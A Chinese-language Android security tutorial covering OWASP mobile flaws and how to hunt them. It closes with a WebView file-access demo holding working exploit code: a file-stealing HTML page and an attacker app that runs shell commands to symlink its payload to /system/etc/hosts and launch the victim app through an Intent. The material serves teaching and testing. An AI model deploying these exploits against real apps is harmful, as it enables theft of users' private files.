基本知識Android架構
- Kernel內核層
漏洞危害極大,通用性強
驅動由於多而雜,也可能存在不少漏洞 - Libaries系統運行庫層
- 系統中間件形式提供的運行庫
包括libc、WebKit、SQLite等等 - AndroidRunTime
Dalvik虛擬機和內核庫
- 系統中間件形式提供的運行庫
-
FrameWork應用框架層
提供一系列的服務和API的接口- 活動管理器
- 內容提供器
- 視圖
- 資源管理器
- 通知管理器
-
Application應用層
- 系統應用
主屏幕Home、聯系人Contact、電話Phone、瀏覽器Browser - 其他應用
開發者使用應用程序框架層的API實現的程序
- 系統應用
Andoroid常用組件
- Acitivity活動
- Service服務
- BroadcastRecviver廣播接收器
- ContentProvider內容提供器
Android App常見漏洞 (OWASP Mobile Top 10)平台使用不當
-
概述
平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等 -
風險
很廣泛,可能涉及移動平台各個服務 -
舉例
iOS系統中,將密碼數據存放在本地文件而沒有存放在密鑰鏈中,導致可以從偽加密的備份數據中讀取
Android系統中,Intent使用不當導致惡意用戶劫持修改intent的內容,以原進程的身份權限執行任意動作 -
不安全的數據存儲
- 不安全的通信
典型漏洞及挖掘方法數據存儲漏洞
-
數據文件或目錄
- SharedPreferences
data/data/程序包名/shared_prefs/*.xml- 創建配置文件時沒有使用MODE_PRIVATE模式,導致其他程序可以讀取配置文件
- 明文存儲,而root用戶可讀,導致敏感數據泄露
-
SQLiteDatabases
data/data程序包名/database/*.db- 創建數據庫時沒有使用MODE_PRIVATE模式
-
InternalStorage
data/data/程序報名/files/*- MODE_PRIVATE
- 明文存儲
- ExternalStorage
/mnt/sdcard/*- 明文存儲
- SharedPreferences
- 檢測方法
- 瀏覽/data/data/包名目錄下的各個文件和目錄,檢查是否存在others用戶可讀的文件
- 檢查配置文件、數據庫等是否存在明文敏感信息
- 挖掘方法
- 代碼檢測
檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否為MODE_PRIVATE(0×0000)
- 代碼檢測
數據通信漏洞
- 使用HTTP等明文協議將敏感信息傳送至服務端
- 通過局域網嗅探、惡意公共WIFI、惡意代理服務、DNS劫持等手段捕獲明文通信,產生中間人攻擊
-
SSL證書弱校驗
- APP中缺乏對SSL證書的校驗
客戶端中應該實現X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法 - 證書校驗失敗會導致異常,然后由應用程序對證書校驗異常進行處理
- 未對服務器證書校驗會導致TLS中間人攻擊
使用HttpsURLConnection時,實現自定義HostnameVerifier過程中未對主機名做驗證,則默認不檢查證書域名與站點名是否匹配。或者在設置HttpsURLConnection的HostnameVerifier時,將其設為ALLOW_ALL_HOSTNAME_VERIIER則接受所有域名. - 攻擊方法
- 開啟Fiddler的HTTPS解析功能,生成並導出自簽名證書,安裝到手機中
- 開啟Fiddler代理,並允許遠程主機連接該代理
- 挖掘方法
- 搜索.method public checkServerTrusted
- 定位.method和end method
- 檢查是否存在return-void
- 同理檢查verify(String, SSLSession)的返回值是否恆為True、X509HostnameVerifier的參數是否為ALLOW_ALLHOSTNAME_VERIFIER
- APP中缺乏對SSL證書的校驗
-
SSL證書強校驗
可能通過Xp、Patch等方法繞過
組件暴露漏洞
- Android:exported是四大組件中都有的一個屬性,用來表示是否支持其他應用調用當前組件
- 如果有intent-filter,默認值為true;反之默認則為false
- exported導出組件的權限控制
- 繞過認證
- activity暴露后被第三方調用,可能在沒有密碼的情況下登錄/重置密碼
- 敏感信息泄露
- recviver暴露后被第三方啟動,可能查看到調試等信息中包含的敏感信息
-
越權行為
- 低權限程序通過調用高權限程序暴露的組件,執行高權限動作
-
挖掘方法
- 查看AndroidManifest.xml
- 通過drozer的attacksurface工具進行安全評估
弱加密漏洞
- 密碼硬編碼
反編譯、root查看等可以取得 - AES/DES弱加密
ECB模式容易受到分析或重放攻擊
WebView
主要包括三種漏洞:
- 任意代碼執行
- Android4.2以后,通過addJavascriptInterface注解的方法可被網頁中的java方法調用。如果未加過濾則可能存在漏洞
- 挖掘方法:
- 編寫遍歷對象的網頁,如果存在getClass方法則存在遠程代碼執行漏洞
- fiddler的before腳本可以讓任意webview訪問任意網頁時進行測試
- 域控制不嚴格
- WebView如果打開了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有文件、數據庫等敏感信息泄露
- setAllowFileAccess
- setAllowFileAccessFromFileURLs
- setAllowUniversalAccessFromFileURLs(導致遠程泄露敏感信息)
- 通過符號鏈接攻擊可以訪問本地文件:無論怎么限制,js都能訪問本文件的。而通過延時執行和將當前文件替換成指向指向其他文件的軟連接就可以讀取到被符號鏈接所指向的文件
- WebView如果打開了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有文件、數據庫等敏感信息泄露
- 密碼明文存儲
當用戶選擇保存在WebViEW中輸入的用戶名和密碼時,則會被明文保存到app目錄下的data.db中
具有root權限的攻擊者可以讀取
漏洞挖掘流程總結
- 靜態分析
快速檢測,獲得分析重點目標- 檢查AndroidManifest文件
- 腳本分析Smali代碼
- 動態分析
對疑似風險進行驗證和危害評估- 調試模式分析
- 嘗試操作/漏洞驗證
- drozer
- 抓包分析數據及接口
- 逆向分析
加密破解以及對邏輯和代碼的進一步分析-
-
-
- 自動化輔助系統
- MobSF 包括前端web界面,
- Marvin 包括前端web界面,部署麻煩
- Inspeckage Xposed插件
今天我們就來講講WebView 的漏洞
[Java] 純文本查看 復制代碼
示例代碼地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。
或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
代碼如下代碼主要區別在於這次加載的attack_file.html
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
String mUrl1 = “file:///android_asset/html/attack_file.html”;
//String mUrl2 = “file:///android_asset/html/test.html”;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), “jsInterface”);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override
public void run() {
Log.e(“leehong2″, “onButtonClick: text = ” + str);
Toast.makeText(getApplicationContext(), “onButtonClick: text = ” + str, Toast.LENGTH_LONG).show();
}
});
return “This text is returned from Java layer. js text = ” + text;
}
public void onImageClick(String url, int width, int height) {
final String str = “onImageClick: text = ” + url + “ width = ” + width + “ height = ” + height;
Log.i(“leehong2″, str);
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
這里webView.getSettings().setAllowFileAccessFromFileURLs(true),標示可以通過javaScript訪問file文件。
我們再來看attack_file.html的代碼:‘
<font style=”color:rgb(79, 79, 79)”><font face=”"”><font style=”font-size:16px”><html>
<body>
<script>
function stealFile()
{
var file = “file:///mnt/sdcard/233.txt”;
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open(“GET”, file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html> </font></font></font>
由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以返回/mnt/sdcard/2333.txt的值。
如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以返回/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs為false,我們通過一種方式也可以跨過這個限制,這個我下一次講講.
首先運行WebViewFileDemo1,然后再運行AttackWebView來襲擊WebView。
我們首先看WebViewFileDemo1,主要代碼如下:
<font face=”"”><font style=”font-size:16px”>package com.example.webviewfiledemo; [/size][/font][/p]
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;
private Uri mUri;
private String url;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), “jsInterface”);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
//webView.getSettings().setAllowFileAccess(false);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Required functionality here
return super.onJsAlert(view, url, message, result);
}
});
Intent i = getIntent();
if (i != null) {
mUri = i.getData();
}
if (mUri != null) {
url = mUri.toString();
}
if (url != null) {
webView.loadUrl(url);
}
}
} </font></font>
這個Activity接收來自外部的Intent,提取Intent里面的url並加載。
接着我們來看AttackWebView工程,這里就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。代碼如下:
public class MainActivity extends Activity {
public final static String HTML =
“<body>” +
“<u>Wait a few seconds.</u>” +
“<script>” +
“var d = document;”+
“function doitjs(){“+
“var xhr = new XMLHttpRequest;”+
“xhr.onload = function(){“+
“var txt = xhr.responseText;”+
“d.body.appendChild(d.createTextNode(txt));”+
“alert(txt);”+”};”+
“xhr.open(‘GET’,d.URL);”+
“xhr.send(null);”+
“}”+
“setTimeout(doitjs,8000);”+
“</script>”+
“</body>”;
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir(“payload_odex”, MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + “/A0″ + “.html”;
try {
cmdexec(“mkdir ” + MY_TMP_DIR);
cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH);
cmdexec(“chmod -R 777 ” + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP(“file://” + HTML_PATH);
Thread.sleep(6000);
cmdexec(“rm ” + HTML_PATH);
cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);
} catch (Exception e) {
// TODO: handle exception
}
}
public void invokeVulnAPP(String url) {
try {
Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName(“com.example.webviewfiledemo”, “com.example.webviewfiledemo.MainActivity”);
startActivity(intent);
} catch (Exception e) {
// TODO: handle exception
}
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { “/system/bin/sh”, “-c”, cmd };
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
// TODO: handle exception
}
}
}
通過invokeVulnAPP,打開了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView加載了這個html,html內容如下:
public final static String HTML =
“<body>” +
“<u>Wait a few seconds.</u>” +
“<script>” +
“var d = document;”+
“function doitjs(){“+
“var xhr = new XMLHttpRequest;”+
“xhr.onload = function(){“+
“var txt = xhr.responseText;”+
“d.body.appendChild(d.createTextNode(txt));”+
“alert(txt);”+”};”+
“xhr.open(‘GET’,d.URL);”+
“xhr.send(null);”+
“}”+
“setTimeout(doitjs,8000);”+
“</script>”+
“</body>”;
當WebViewFileDemo1工程中webView加載A0.html后,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看代碼。
cmdexec(“mkdir ” + MY_TMP_DIR);
cmdexec(“echo \”" + HTML + “\” > ” + HTML_PATH); cmdexec(“chmod -R 777 ” + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP(“file://” + HTML_PATH);
Thread.sleep(6000);
cmdexec(“rm ” + HTML_PATH);
cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);
調用完invokeVulnAPP后,6秒后,我們首先把A0.html刪除,然后再重新軟連接到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView加載A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒后讀取的是軟連接/system/etc/hosts 。